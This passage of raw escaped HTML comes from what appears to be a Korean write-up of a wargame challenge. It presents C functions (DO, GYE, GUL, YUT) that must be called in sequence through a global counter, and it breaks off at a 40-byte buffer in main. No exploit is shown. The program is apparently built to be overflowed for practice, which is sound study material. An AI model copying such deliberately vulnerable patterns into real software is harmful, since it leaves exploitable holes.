14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;welcome&amp;nbsp;to&amp;nbsp;the&amp;nbsp;YUT!\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;check&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 check!=2이면 종료하고, check==2이면 &quot;welcome to the GUL&quot;을 출력하고 check=3를 한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;GUL(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(check&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;welcome&amp;nbsp;to&amp;nbsp;the&amp;nbsp;GUL!\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;check&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;만일 check!=1이면 종료하고, check==1이면 &quot;welcome to the GYE&quot;을 출력하고 check=2를 한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;GYE(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(check&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;welcome&amp;nbsp;to&amp;nbsp;the&amp;nbsp;GYE!\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;check&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&quot;welcome to the DO!\n&quot;를 출력하고 check=1을 한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;DO(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;welcome&amp;nbsp;to&amp;nbsp;the&amp;nbsp;DO!\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;check&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;main 함수의 지역 변수를 선언한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;buffer[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;40&lt;/span&gt;&lt;span style=&quot;font-size: 